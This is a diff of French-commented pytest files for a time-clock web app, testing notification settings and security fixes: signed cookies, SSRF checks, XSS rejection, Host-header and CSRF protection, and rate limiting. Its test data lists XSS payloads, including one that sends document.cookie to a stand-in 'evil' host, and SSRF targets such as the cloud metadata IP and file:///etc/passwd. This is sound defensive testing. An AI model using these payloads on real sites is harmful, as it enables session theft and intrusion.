assert r.status_code == 200
|
||||
assert "settings-error" in r.text
|
||||
assert "topic" in r.text.lower()
|
||||
|
||||
|
||||
def test_test_ntfy_with_bad_server_returns_failure():
|
||||
# Topic renseigné mais serveur injoignable → échec
|
||||
models.save_notif_config("alice", ntfy_topic="topic-test", ntfy_server="https://ntfy-injoignable.invalid")
|
||||
r = client.post("/settings/test-ntfy", cookies=COOKIES)
|
||||
assert r.status_code == 200
|
||||
assert "settings-error" in r.text
|
||||
assert "Échec" in r.text
|
||||
# L'entrée de log d'échec doit être présente
|
||||
logs = models.load_logs("alice")
|
||||
assert any(l["event"] == "échec" and l["type"] == "notif" for l in logs)
|
||||
|
||||
|
||||
def test_test_ntfy_logs_to_journal():
|
||||
"""Le bouton de test doit écrire dans le journal (même en échec)."""
|
||||
models.save_notif_config("alice", ntfy_topic="topic-test-2", ntfy_server="https://ntfy-injoignable.invalid")
|
||||
client.post("/settings/test-ntfy", cookies=COOKIES)
|
||||
logs = models.load_logs("alice")
|
||||
# L'entrée la plus récente doit être l'échec du test (message contient "Test pointeuse")
|
||||
assert any(l["event"] == "échec" and "Test pointeuse" in l["message"] for l in logs)
|
||||
|
||||
|
||||
# ── Jeton d'accès ntfy (serveur protégé) ─────────────────────────────────────
|
||||
|
||||
def test_send_ntfy_passes_authorization_header(monkeypatch):
|
||||
"""Quand un token est fourni, send_ntfy doit envoyer un header Authorization: Bearer."""
|
||||
import notifications
|
||||
captured = {}
|
||||
|
||||
class _DummyReq:
|
||||
def __init__(self, url, data, headers, method):
|
||||
captured["url"] = url
|
||||
captured["headers"] = headers
|
||||
captured["method"] = method
|
||||
|
||||
class _DummyResp:
|
||||
def close(self): pass
|
||||
|
||||
def _fake_urlopen(req, timeout):
|
||||
captured["timeout"] = timeout
|
||||
return _DummyResp()
|
||||
|
||||
monkeypatch.setattr(notifications.urllib.request, "Request", _DummyReq)
|
||||
monkeypatch.setattr(notifications.urllib.request, "urlopen", _fake_urlopen)
|
||||
|
||||
ok = notifications.send_ntfy(
|
||||
"https://ntfy.example", "topic-x",
|
||||
"msg", "titre", user_id="alice", token="tk_abc123",
|
||||
)
|
||||
assert ok is True
|
||||
assert captured["headers"]["Authorization"] == "Bearer tk_abc123"
|
||||
|
||||
|
||||
def test_send_ntfy_omits_authorization_when_no_token(monkeypatch):
|
||||
"""Sans token, pas de header Authorization."""
|
||||
import notifications
|
||||
captured = {}
|
||||
|
||||
class _DummyReq:
|
||||
def __init__(self, url, data, headers, method):
|
||||
captured["headers"] = headers
|
||||
|
||||
class _DummyResp:
|
||||
def close(self): pass
|
||||
|
||||
monkeypatch.setattr(notifications.urllib.request, "Request", _DummyReq)
|
||||
monkeypatch.setattr(notifications.urllib.request, "urlopen", lambda req, timeout: _DummyResp())
|
||||
|
||||
notifications.send_ntfy("https://x", "t", "m", "ti", user_id=None, token="")
|
||||
assert "Authorization" not in captured["headers"]
|
||||
|
||||
|
||||
def test_settings_save_persists_ntfy_token():
|
||||
"""Le token saisi dans /settings doit être persisté."""
|
||||
models.save_notif_config("alice", ntfy_topic="t", ntfy_server="https://ntfy.sh")
|
||||
client.post("/settings", cookies=COOKIES, data={
|
||||
"ntfy_topic": "topic-persisted",
|
||||
"ntfy_server": "https://ntfy.arkel.fr",
|
||||
"ntfy_token": "tk_persisted_123",
|
||||
"rappel_debut_h": "8",
|
||||
"rappel_fin_h": "19",
|
||||
})
|
||||
cfg = models.load_notif_config("alice")
|
||||
assert cfg["ntfy_token"] == "tk_persisted_123"
|
||||
assert cfg["ntfy_topic"] == "topic-persisted"
|
||||
|
||||
|
||||
# ── Régénération du token de présence (Tasker) ───────────────────────────────
|
||||
|
||||
def test_regenerate_presence_token_requires_auth():
|
||||
unauth = TestClient(main.app)
|
||||
r = unauth.post("/settings/regenerate-presence-token", follow_redirects=False)
|
||||
assert r.status_code == 302
|
||||
assert "/login" in r.headers["location"]
|
||||
|
||||
|
||||
def test_regenerate_presence_token_invalidates_old_urls():
|
||||
"""Le nouveau token remplace l'ancien : les anciennes URLs ne marchent plus."""
|
||||
old_token = models.load_notif_config("alice")["token"]
|
||||
|
||||
r = client.post("/settings/regenerate-presence-token", cookies=COOKIES)
|
||||
assert r.status_code == 200
|
||||
# Le HTML retourné contient de nouvelles URLs avec un nouveau token
|
||||
assert old_token not in r.text
|
||||
assert "/presence/" in r.text
|
||||
assert "Token régénéré" in r.text
|
||||
|
||||
# L'ancienne URL doit maintenant renvoyer 404 (token inconnu)
|
||||
r_old = client.post(f"/presence/{old_token}/arrivee")
|
||||
assert r_old.status_code == 404
|
||||
|
||||
# La nouvelle URL doit fonctionner
|
||||
new_cfg = models.load_notif_config("alice")
|
||||
r_new = client.post(f"/presence/{new_cfg['token']}/arrivee")
|
||||
assert r_new.status_code == 200
|
||||
assert r_new.json() == {"ok": True}
|
||||
|
||||
|
||||
def test_regenerate_preserves_other_notif_fields():
|
||||
"""La régénération ne doit pas effacer topic/server/token ntfy."""
|
||||
models.save_notif_config(
|
||||
"alice", ntfy_topic="topic-x", ntfy_server="https://ntfy.arkel.fr",
|
||||
ntfy_token="tk_xyz",
|
||||
)
|
||||
before = models.load_notif_config("alice")
|
||||
new_token = models.regenerate_presence_token("alice")
|
||||
after = models.load_notif_config("alice")
|
||||
|
||||
assert after["token"] == new_token
|
||||
assert before["token"] != new_token
|
||||
# Les autres champs sont préservés
|
||||
assert after["ntfy_topic"] == "topic-x"
|
||||
assert after["ntfy_server"] == "https://ntfy.arkel.fr"
|
||||
assert after["ntfy_token"] == "tk_xyz"
|
||||
|
||||
|
||||
# ── Changements de paramètres tracés dans le journal ─────────────────────────
|
||||
|
||||
def test_settings_save_logged():
|
||||
"""Sauvegarder les réglages ntfy doit écrire une entrée de journal."""
|
||||
models.save_notif_config("alice", ntfy_topic="t", ntfy_server="https://ntfy.sh")
|
||||
before = len([l for l in models.load_logs("alice") if l["type"] == "settings"])
|
||||
client.post("/settings", cookies=COOKIES, data={
|
||||
"ntfy_topic": "topic-new",
|
||||
"ntfy_server": "https://ntfy.arkel.fr",
|
||||
"ntfy_token": "tk_abc",
|
||||
"rappel_debut_h": "8",
|
||||
"rappel_fin_h": "19",
|
||||
})
|
||||
after = [l for l in models.load_logs("alice") if l["type"] == "settings"]
|
||||
assert len(after) == before + 1
|
||||
latest = after[0]
|
||||
assert latest["event"] == "Réglages ntfy"
|
||||
assert "topic-new" in latest["message"]
|
||||
assert "ntfy.arkel.fr" in latest["message"]
|
||||
|
||||
|
||||
def test_settings_plages_save_logged():
|
||||
"""Sauvegarder les plages horaires doit écrire une entrée de journal."""
|
||||
before = len([l for l in models.load_logs("alice") if l["type"] == "settings"])
|
||||
client.post("/settings/plages", cookies=COOKIES, data={
|
||||
"matin_debut": "09:00", "matin_fin": "12:00",
|
||||
"aprem_debut": "14:00", "aprem_fin": "17:00",
|
||||
"pause_dejeuner_fin": "13:30",
|
||||
"arrivee_visee": "", "depart_vise": "",
|
||||
})
|
||||
after = [l for l in models.load_logs("alice") if l["type"] == "settings"]
|
||||
assert len(after) == before + 1
|
||||
latest = after[0]
|
||||
assert latest["event"] == "Plages horaires"
|
||||
assert "09:00" in latest["message"]
|
||||
|
||||
|
||||
def test_regenerate_presence_token_logged():
|
||||
"""Régénérer le token de présence doit écrire une entrée de journal."""
|
||||
before = len([l for l in models.load_logs("alice") if l["type"] == "settings"])
|
||||
client.post("/settings/regenerate-presence-token", cookies=COOKIES)
|
||||
after = [l for l in models.load_logs("alice") if l["type"] == "settings"]
|
||||
assert len(after) == before + 1
|
||||
latest = after[0]
|
||||
assert "régénéré" in latest["event"].lower()
|
||||
599
app/tests/test_security.py
Normal file
599
app/tests/test_security.py
Normal file
@ -0,0 +1,599 @@
|
||||
"""Tests de sécurité : anti-forgery du cookie de session.
|
||||
|
||||
Avant le correctif, n'importe qui pouvait forger le cookie `user_id=admin` et
|
||||
accéder aux données d'un autre utilisateur. La signature HMAC doit rendre toute
|
||||
altération détectable.
|
||||
"""
|
||||
import sys
|
||||
|
||||
# DATA_DIR temporaire est positionné par conftest.py avant l'import de models.
|
||||
import models # noqa: F401
|
||||
|
||||
sys.path.insert(0, ".")
|
||||
import main
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
client = TestClient(main.app)
|
||||
|
||||
|
||||
def _seed_user(uid: str):
|
||||
import bcrypt
|
||||
models.save_auth(uid, email=f"{uid}@x.fr",
|
||||
password_hash=bcrypt.hashpw(b"x" * 12, bcrypt.gensalt()).decode())
|
||||
|
||||
|
||||
def _login(uid: str) -> dict:
|
||||
_seed_user(uid)
|
||||
r = client.post("/login/password",
|
||||
data={"email": f"{uid}@x.fr", "password": "x" * 12},
|
||||
follow_redirects=False)
|
||||
assert r.status_code == 302, r.text
|
||||
return {"user_id": r.cookies.get("user_id")}
|
||||
|
||||
|
||||
# ── Forgery du cookie ─────────────────────────────────────────────────────────
|
||||
|
||||
def test_unsigned_cookie_rejected():
|
||||
"""Un cookie `user_id=admin` forgé à la main doit être rejeté."""
|
||||
_seed_user("alice")
|
||||
r = client.get("/semaine/2026/29", cookies={"user_id": "alice"}, follow_redirects=False)
|
||||
assert r.status_code == 302
|
||||
assert "/login" in r.headers["location"]
|
||||
|
||||
|
||||
def test_tampered_signature_rejected():
|
||||
"""Un cookie valide dont on modifie la signature doit être rejeté."""
|
||||
cookies = _login("alice")
|
||||
raw = cookies["user_id"]
|
||||
user_id, _, sig = raw.rpartition(".")
|
||||
# Inverse un caractère de la signature
|
||||
bad_sig = ("0" if sig[0] != "0" else "1") + sig[1:]
|
||||
tampered = f"{user_id}.{bad_sig}"
|
||||
r = client.get("/semaine/2026/29", cookies={"user_id": tampered}, follow_redirects=False)
|
||||
assert r.status_code == 302
|
||||
assert "/login" in r.headers["location"]
|
||||
|
||||
|
||||
def test_valid_signed_cookie_accepted():
|
||||
"""Le cookie signé délivré par /login/password doit ouvrir la session."""
|
||||
cookies = _login("alice")
|
||||
r = client.get("/semaine/2026/29", cookies=cookies, follow_redirects=False)
|
||||
assert r.status_code == 200
|
||||
|
||||
|
||||
def test_signed_cookie_cannot_be_replayed_for_other_user():
|
||||
"""La signature d'alice ne doit pas valider pour bob (user_id modifié)."""
|
||||
cookies = _login("alice")
|
||||
raw = cookies["user_id"]
|
||||
_, _, sig = raw.rpartition(".")
|
||||
# Remplace alice par bob en conservant la signature d'alice
|
||||
forged = f"bob.{sig}"
|
||||
_seed_user("bob")
|
||||
r = client.get("/semaine/2026/29", cookies={"user_id": forged}, follow_redirects=False)
|
||||
assert r.status_code == 302
|
||||
assert "/login" in r.headers["location"]
|
||||
|
||||
|
||||
# ── Helpers de signature ──────────────────────────────────────────────────────
|
||||
|
||||
def test_sign_and_verify_roundtrip():
|
||||
sig = main._sign_user_id("alice")
|
||||
assert main._verify_signed_cookie(sig) == "alice"
|
||||
|
||||
|
||||
def test_verify_rejects_malformed_inputs():
|
||||
for bad in ("", "alice", "alice.", ".", "alice.deadbeef", "inva/lid.xxx"):
|
||||
assert main._verify_signed_cookie(bad) is None
|
||||
|
||||
|
||||
def test_secret_is_stable_across_calls():
|
||||
s1 = models.load_or_create_secret()
|
||||
s2 = models.load_or_create_secret()
|
||||
assert s1 == s2
|
||||
|
||||
|
||||
# ── Validation SSRF du serveur ntfy ──────────────────────────────────────────
|
||||
|
||||
import notifications # noqa: E402
|
||||
|
||||
|
||||
def test_ntfy_server_validation_accepts_https():
|
||||
assert notifications.is_safe_ntfy_server("https://ntfy.sh")
|
||||
assert notifications.is_safe_ntfy_server("https://ntfy.example.com:8080")
|
||||
|
||||
|
||||
def test_ntfy_server_validation_rejects_loopback():
|
||||
for bad in ("http://127.0.0.1:1", "http://127.0.0.1", "http://localhost",
|
||||
"https://localhost:8443", "https://[::1]"):
|
||||
assert not notifications.is_safe_ntfy_server(bad), bad
|
||||
|
||||
|
||||
def test_ntfy_server_validation_rejects_private_networks():
|
||||
for bad in ("https://10.0.0.1", "https://172.16.5.5", "https://192.168.1.1",
|
||||
"https://169.254.169.254", "http://10.255.255.1:8080"):
|
||||
assert not notifications.is_safe_ntfy_server(bad), bad
|
||||
|
||||
|
||||
def test_ntfy_server_validation_rejects_bad_schemes():
|
||||
for bad in ("ftp://ntfy.sh", "file:///etc/passwd", "gopher://x", "javascript:alert(1)"):
|
||||
assert not notifications.is_safe_ntfy_server(bad), bad
|
||||
|
||||
|
||||
def test_ntfy_server_validation_rejects_credentials_in_url():
|
||||
assert not notifications.is_safe_ntfy_server("https://user:pass@ntfy.sh")
|
||||
|
||||
|
||||
def test_ntfy_server_validation_rejects_empty_or_none():
|
||||
for bad in ("", None, " "):
|
||||
assert not notifications.is_safe_ntfy_server(bad), bad
|
||||
|
||||
|
||||
def test_send_ntfy_refuses_ssrf_target():
|
||||
"""Un appel vers une IP privée ne doit jamais ouvrir de connexion réseau."""
|
||||
import urllib.request as u
|
||||
called = {"n": 0}
|
||||
orig = u.urlopen
|
||||
try:
|
||||
u.urlopen = lambda *a, **kw: called.__setitem__("n", called["n"] + 1)
|
||||
ok = notifications.send_ntfy(
|
||||
"http://169.254.169.254", "ssrf-topic",
|
||||
"msg", "titre", user_id=None, token="",
|
||||
)
|
||||
finally:
|
||||
u.urlopen = orig
|
||||
assert ok is False
|
||||
assert called["n"] == 0 # urlopen n'a jamais été appelé
|
||||
|
||||
|
||||
def test_settings_save_rejects_ssrf_ntfy_server():
|
||||
"""POST /settings avec un serveur SSRF doit être rejeté."""
|
||||
cookies = _login("carol")
|
||||
# Préserve un topic valide
|
||||
models.save_notif_config("carol", ntfy_topic="t", ntfy_server="https://ntfy.sh")
|
||||
r = client.post("/settings", cookies=cookies, data={
|
||||
"ntfy_topic": "topic-x",
|
||||
"ntfy_server": "http://169.254.169.254",
|
||||
"ntfy_token": "",
|
||||
"rappel_debut_h": "8",
|
||||
"rappel_fin_h": "19",
|
||||
}, follow_redirects=False)
|
||||
assert r.status_code == 303
|
||||
assert "ssrf_error=1" in r.headers["location"]
|
||||
# La valeur précédente est conservée
|
||||
cfg = models.load_notif_config("carol")
|
||||
assert cfg["ntfy_server"] == "https://ntfy.sh"
|
||||
|
||||
|
||||
# ── XSS stocké via /pointage ──────────────────────────────────────────────────
|
||||
|
||||
XSS_PAYLOADS = [
|
||||
'"><svg/onload=alert(1)>',
|
||||
'"><script>alert(document.cookie)</script>',
|
||||
"'/><script>fetch('//evil/'+document.cookie)</script>",
|
||||
]
|
||||
|
||||
|
||||
def test_pointage_rejects_non_hhmm_value():
|
||||
"""POST /pointage avec une valeur non HHMM ne doit pas être persistée."""
|
||||
cookies = _login("dave")
|
||||
for payload in XSS_PAYLOADS:
|
||||
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": payload,
|
||||
"matin_sortie": "",
|
||||
"aprem_entree": "",
|
||||
"aprem_sortie": "",
|
||||
})
|
||||
# La réponse ne doit pas planter
|
||||
assert r.status_code == 200
|
||||
# Le payload ne doit pas se retrouver tel quel dans la réponse
|
||||
assert payload not in r.text, payload
|
||||
# Vérification de la persistance
|
||||
week = models.load_week_pointages(2026, 29, "dave")
|
||||
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
||||
assert entry is not None
|
||||
# matin_entree doit avoir été ignoré (None), pas stocké tel quel
|
||||
assert entry["matin_entree"] is None
|
||||
|
||||
|
||||
def test_pointage_valid_hhmm_still_works():
|
||||
"""Un pointage HHMM valide doit continuer à fonctionner."""
|
||||
cookies = _login("erin")
|
||||
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": "08:45",
|
||||
"matin_sortie": "12:00",
|
||||
"aprem_entree": "",
|
||||
"aprem_sortie": "",
|
||||
})
|
||||
assert r.status_code == 200
|
||||
assert "08:45" in r.text
|
||||
week = models.load_week_pointages(2026, 29, "erin")
|
||||
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
||||
assert entry["matin_entree"] == "08:45"
|
||||
|
||||
|
||||
def test_oob_html_escapes_date_attribute():
|
||||
"""Si la date (issue de l'URL) contient des caractères HTML, ils doivent être échappés."""
|
||||
cookies = _login("frank")
|
||||
# Forçage d'un pointage valide pour déclencher le rendu _oob_time_cells
|
||||
client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": "08:45", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": "",
|
||||
})
|
||||
# Une date malicieuse dans /refresh/... doit être échappée si elle passe strptime
|
||||
# (les caractères HTML ne passent pas strptime, mais on vérifie que l'escape est actif
|
||||
# sur le rendu d'un pointage normal pour la date légitime)
|
||||
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": "08:45", "matin_sortie": "12:00",
|
||||
"aprem_entree": "14:00", "aprem_sortie": "17:30",
|
||||
})
|
||||
assert "<script" not in r.text.lower()
|
||||
assert "onload" not in r.text.lower()
|
||||
|
||||
|
||||
# ── Open redirect via Host header ─────────────────────────────────────────────
|
||||
# Le lien set-password est envoyé par email ; son host venait de request.base_url
|
||||
# lui-même issu du header Host contrôlable par le client. Un attaquant pouvait
|
||||
# déclencher l'envoi d'un email légitime contenant un host arbitraire (phishing).
|
||||
|
||||
|
||||
def _patch_send_mail_captor(monkeypatch):
|
||||
"""Remplace send_mail par un capteur ; retourne le dict où les appels seront stockés."""
|
||||
captured = {"calls": []}
|
||||
|
||||
def _fake_send_mail(to_addr, subject, body, from_addr, smtp_cfg):
|
||||
captured["calls"].append({
|
||||
"to": to_addr, "subject": subject, "body": body,
|
||||
"from": from_addr, "smtp": smtp_cfg,
|
||||
})
|
||||
|
||||
monkeypatch.setattr(main, "send_mail", _fake_send_mail)
|
||||
# Configure aussi un SMTP fictif pour que la route ne plante pas avant l'appel
|
||||
cfg = models.load_config()
|
||||
cfg["smtp"] = {"host": "smtp.test", "port": 587, "user": "u", "password": "p", "use_tls": True}
|
||||
models.save_config(cfg)
|
||||
return captured
|
||||
|
||||
|
||||
def test_login_rejects_untrusted_host(monkeypatch):
|
||||
"""POST /login avec Host=phishing.attacker ne doit pas envoyer d'email."""
|
||||
captured = _patch_send_mail_captor(monkeypatch)
|
||||
# Config : allowed_email_domain=x.fr, pas de base_url, host attendu = *.x.fr ou localhost
|
||||
r = client.post(
|
||||
"/login",
|
||||
data={"email": "nouveau.x@x.fr"},
|
||||
headers={"Host": "phishing.attacker"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
# L'email n'est pas envoyé
|
||||
assert captured["calls"] == []
|
||||
# Un message d'erreur est renvoyé
|
||||
assert "non autorisé" in r.text.lower() or "domaine" in r.text.lower()
|
||||
|
||||
|
||||
def test_login_accepts_host_matching_allowed_email_domain(monkeypatch):
|
||||
"""POST /login avec Host=app.x.fr (suffixe du domaine autorisé) doit envoyer l'email."""
|
||||
captured = _patch_send_mail_captor(monkeypatch)
|
||||
r = client.post(
|
||||
"/login",
|
||||
data={"email": "nouveau2.x@x.fr"},
|
||||
headers={"Host": "app.x.fr"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert len(captured["calls"]) == 1
|
||||
body = captured["calls"][0]["body"]
|
||||
# L'URL dans l'email doit pointer vers le host attendu, pas un host arbitraire
|
||||
assert "http://app.x.fr/set-password/" in body
|
||||
|
||||
|
||||
def test_login_accepts_localhost_for_local_dev(monkeypatch):
|
||||
"""localhost doit toujours être accepté (utile pour dev local et tests)."""
|
||||
captured = _patch_send_mail_captor(monkeypatch)
|
||||
client.post(
|
||||
"/login",
|
||||
data={"email": "local.x@x.fr"},
|
||||
headers={"Host": "localhost:8000"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert len(captured["calls"]) == 1
|
||||
assert "http://localhost:8000/set-password/" in captured["calls"][0]["body"]
|
||||
|
||||
|
||||
def test_login_uses_configured_base_url_regardless_of_host(monkeypatch):
|
||||
"""Si base_url est défini en config, c'est elle qui prime (anti spoofing Host)."""
|
||||
captured = _patch_send_mail_captor(monkeypatch)
|
||||
cfg = models.load_config()
|
||||
cfg["base_url"] = "https://pointeuse.officielle.fr"
|
||||
models.save_config(cfg)
|
||||
|
||||
r = client.post(
|
||||
"/login",
|
||||
data={"email": "config.x@x.fr"},
|
||||
headers={"Host": "phishing.attacker"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
# L'email est envoyé avec l'URL officielle, pas le host spoofé
|
||||
assert len(captured["calls"]) == 1
|
||||
assert "https://pointeuse.officielle.fr/set-password/" in captured["calls"][0]["body"]
|
||||
assert "phishing.attacker" not in captured["calls"][0]["body"]
|
||||
# Cleanup
|
||||
cfg["base_url"] = ""
|
||||
models.save_config(cfg)
|
||||
|
||||
|
||||
def test_safe_base_url_helper_unit():
|
||||
"""Tests unitaires du helper _safe_base_url."""
|
||||
from starlette.datastructures import Headers
|
||||
|
||||
class _FakeReq:
|
||||
def __init__(self, host, scheme="http"):
|
||||
self.headers = Headers({"host": host})
|
||||
self.url = type("U", (), {"scheme": scheme})()
|
||||
|
||||
# Aucune config base_url, domaine autorisé x.fr
|
||||
# Host valide (suffixe)
|
||||
assert main._safe_base_url(_FakeReq("app.x.fr")).endswith("://app.x.fr")
|
||||
# Host invalide
|
||||
assert main._safe_base_url(_FakeReq("evil.attacker")) is None
|
||||
# localhost OK
|
||||
assert "localhost" in main._safe_base_url(_FakeReq("localhost"))
|
||||
# Host sans header → None
|
||||
assert main._safe_base_url(_FakeReq("")) is None
|
||||
|
||||
|
||||
# ── Protection CSRF (Origin check) ────────────────────────────────────────────
|
||||
|
||||
def test_csrf_rejects_post_with_cross_site_origin():
|
||||
"""Un POST avec Origin cross-site doit être rejeté."""
|
||||
cookies = _login("grace")
|
||||
r = client.post(
|
||||
"/pointage/2026-07-17",
|
||||
cookies=cookies,
|
||||
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
||||
headers={"Host": "testserver", "Origin": "https://evil.attacker"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r.status_code == 403
|
||||
assert "csrf" in r.text.lower()
|
||||
|
||||
|
||||
def test_csrf_rejects_post_with_cross_site_referer():
|
||||
"""Un POST avec Referer cross-site doit aussi être rejeté."""
|
||||
cookies = _login("heidi")
|
||||
r = client.post(
|
||||
"/pointage/2026-07-17",
|
||||
cookies=cookies,
|
||||
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
||||
headers={"Host": "testserver", "Referer": "https://evil.attacker/page"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r.status_code == 403
|
||||
|
||||
|
||||
def test_csrf_accepts_post_without_origin():
|
||||
"""L'absence d'Origin (curl/Tasker) doit être tolérée (SameSite suffit)."""
|
||||
cookies = _login("ivan")
|
||||
r = client.post(
|
||||
"/pointage/2026-07-17",
|
||||
cookies=cookies,
|
||||
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r.status_code == 200
|
||||
|
||||
|
||||
def test_csrf_accepts_post_with_matching_origin():
|
||||
"""Un POST avec Origin == Host est accepté."""
|
||||
cookies = _login("judy")
|
||||
r = client.post(
|
||||
"/pointage/2026-07-17",
|
||||
cookies=cookies,
|
||||
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
||||
headers={"Host": "testserver", "Origin": "http://testserver"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r.status_code == 200
|
||||
|
||||
|
||||
def test_csrf_accepts_get_regardless_of_origin():
|
||||
"""Les GET ne sont pas concernés par la vérification CSRF."""
|
||||
r = client.get("/login", headers={"Origin": "https://evil.attacker"})
|
||||
# 200 (page login) ou 302 (déjà loggué) mais pas 403
|
||||
assert r.status_code != 403
|
||||
|
||||
|
||||
# ── Endpoints de présence : POST uniquement (anti CSRF trivial) ──────────────
|
||||
|
||||
def test_presence_endpoints_require_post():
|
||||
"""Les endpoints /presence/... doivent refuser les GET (CSRF trivial via <img src>)."""
|
||||
notif = models.load_notif_config("alice") if (models.DATA_DIR / "users" / "alice").exists() else None
|
||||
# Crée alice si nécessaire et récupère un token valide
|
||||
_seed_user("alice")
|
||||
token = models.load_notif_config("alice")["token"]
|
||||
|
||||
# GET doit échouer (405 Method Not Allowed)
|
||||
r_get_arr = client.get(f"/presence/{token}/arrivee", follow_redirects=False)
|
||||
r_get_dep = client.get(f"/presence/{token}/depart", follow_redirects=False)
|
||||
assert r_get_arr.status_code == 405, r_get_arr.status_code
|
||||
assert r_get_dep.status_code == 405
|
||||
|
||||
# POST doit fonctionner
|
||||
r_post_arr = client.post(f"/presence/{token}/arrivee")
|
||||
r_post_dep = client.post(f"/presence/{token}/depart")
|
||||
assert r_post_arr.status_code == 200
|
||||
assert r_post_dep.status_code == 200
|
||||
assert r_post_arr.json() == {"ok": True}
|
||||
|
||||
|
||||
# ── En-têtes de sécurité + cookie Secure ──────────────────────────────────────
|
||||
|
||||
def test_security_headers_present_on_every_response():
|
||||
"""Les en-têtes X-Content-Type-Options, X-Frame-Options, CSP et Referrer-Policy
|
||||
doivent être positionnés sur toutes les réponses."""
|
||||
r = client.get("/login")
|
||||
assert r.headers.get("X-Content-Type-Options") == "nosniff"
|
||||
assert r.headers.get("X-Frame-Options") == "DENY"
|
||||
assert r.headers.get("Referrer-Policy") == "same-origin"
|
||||
csp = r.headers.get("Content-Security-Policy", "")
|
||||
assert "default-src 'self'" in csp
|
||||
assert "frame-ancestors 'none'" in csp
|
||||
assert "base-uri 'self'" in csp
|
||||
|
||||
|
||||
def test_hsts_header_only_on_https():
|
||||
"""HSTS ne doit être positionné qu'en HTTPS."""
|
||||
# En HTTP (TestClient par défaut), pas de HSTS
|
||||
r = client.get("/login")
|
||||
assert "Strict-Transport-Security" not in r.headers
|
||||
|
||||
# En HTTPS, HSTS doit être présent
|
||||
https_client = TestClient(main.app, base_url="https://testserver")
|
||||
r2 = https_client.get("/login")
|
||||
assert r2.headers.get("Strict-Transport-Security", "").startswith("max-age=31536000")
|
||||
|
||||
|
||||
def test_cookie_has_secure_flag_over_https():
|
||||
"""Sur une requête HTTPS, le cookie de session doit porter le drapeau Secure."""
|
||||
https_client = TestClient(main.app, base_url="https://testserver")
|
||||
_seed_user("kate")
|
||||
r = https_client.post(
|
||||
"/login/password",
|
||||
data={"email": "kate@x.fr", "password": "x" * 12},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r.status_code == 302
|
||||
cookie = r.headers.get("set-cookie", "")
|
||||
assert "Secure" in cookie, cookie
|
||||
assert "HttpOnly" in cookie
|
||||
assert "SameSite=lax" in cookie
|
||||
|
||||
|
||||
def test_cookie_omits_secure_flag_over_http():
|
||||
"""En HTTP (dev local), le cookie ne doit pas avoir Secure (sinon il ne serait pas posé)."""
|
||||
_seed_user("liam")
|
||||
r = client.post(
|
||||
"/login/password",
|
||||
data={"email": "liam@x.fr", "password": "x" * 12},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r.status_code == 302
|
||||
cookie = r.headers.get("set-cookie", "")
|
||||
assert "HttpOnly" in cookie
|
||||
assert "SameSite=lax" in cookie
|
||||
# En HTTP, pas de Secure (sinon le navigateur refuserait le cookie)
|
||||
assert "Secure" not in cookie
|
||||
|
||||
|
||||
def test_force_secure_cookies_config_overrides_scheme():
|
||||
"""config.force_secure_cookies doit forcer Secure même en HTTP."""
|
||||
cfg = models.load_config()
|
||||
cfg["force_secure_cookies"] = True
|
||||
models.save_config(cfg)
|
||||
try:
|
||||
_seed_user("mona")
|
||||
r = client.post(
|
||||
"/login/password",
|
||||
data={"email": "mona@x.fr", "password": "x" * 12},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert "Secure" in r.headers.get("set-cookie", "")
|
||||
finally:
|
||||
cfg["force_secure_cookies"] = False
|
||||
models.save_config(cfg)
|
||||
|
||||
|
||||
# ── Rate-limiting /login et /login/password ───────────────────────────────────
|
||||
# Empêche le brute-force du mot de passe et le mail-bombing SMTP.
|
||||
|
||||
def test_login_password_rate_limit_kicks_in():
|
||||
"""Au-delà de la limite, /login/password doit refuser."""
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
_seed_user("nina")
|
||||
cfg = models.load_config()
|
||||
cfg["login_rate_limit_per_min"] = 3
|
||||
models.save_config(cfg)
|
||||
try:
|
||||
# 3 tentatives (toutes incorrectes) → autorisées
|
||||
for _ in range(3):
|
||||
r = client.post(
|
||||
"/login/password",
|
||||
data={"email": "nina@x.fr", "password": "bad"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r.status_code == 200
|
||||
assert "incorrect" in r.text.lower() or "Mot de passe" in r.text
|
||||
# 4e tentative → bloquée
|
||||
r4 = client.post(
|
||||
"/login/password",
|
||||
data={"email": "nina@x.fr", "password": "bad"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r4.status_code == 200
|
||||
assert "Trop de tentatives" in r4.text
|
||||
finally:
|
||||
cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
|
||||
models.save_config(cfg)
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
|
||||
|
||||
def test_login_post_rate_limit_kicks_in():
|
||||
"""Au-delà de la limite, POST /login doit refuser (mail-bombing)."""
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
cfg = models.load_config()
|
||||
cfg["login_rate_limit_per_min"] = 2
|
||||
# Config SMTP valide pour que la route ne plante pas avant send_mail
|
||||
cfg["smtp"] = {"host": "smtp.test", "port": 587, "user": "u", "password": "p", "use_tls": True}
|
||||
models.save_config(cfg)
|
||||
try:
|
||||
# 2 POST /login OK (le mail peut échouer, mais le rate limit passe)
|
||||
for i in range(2):
|
||||
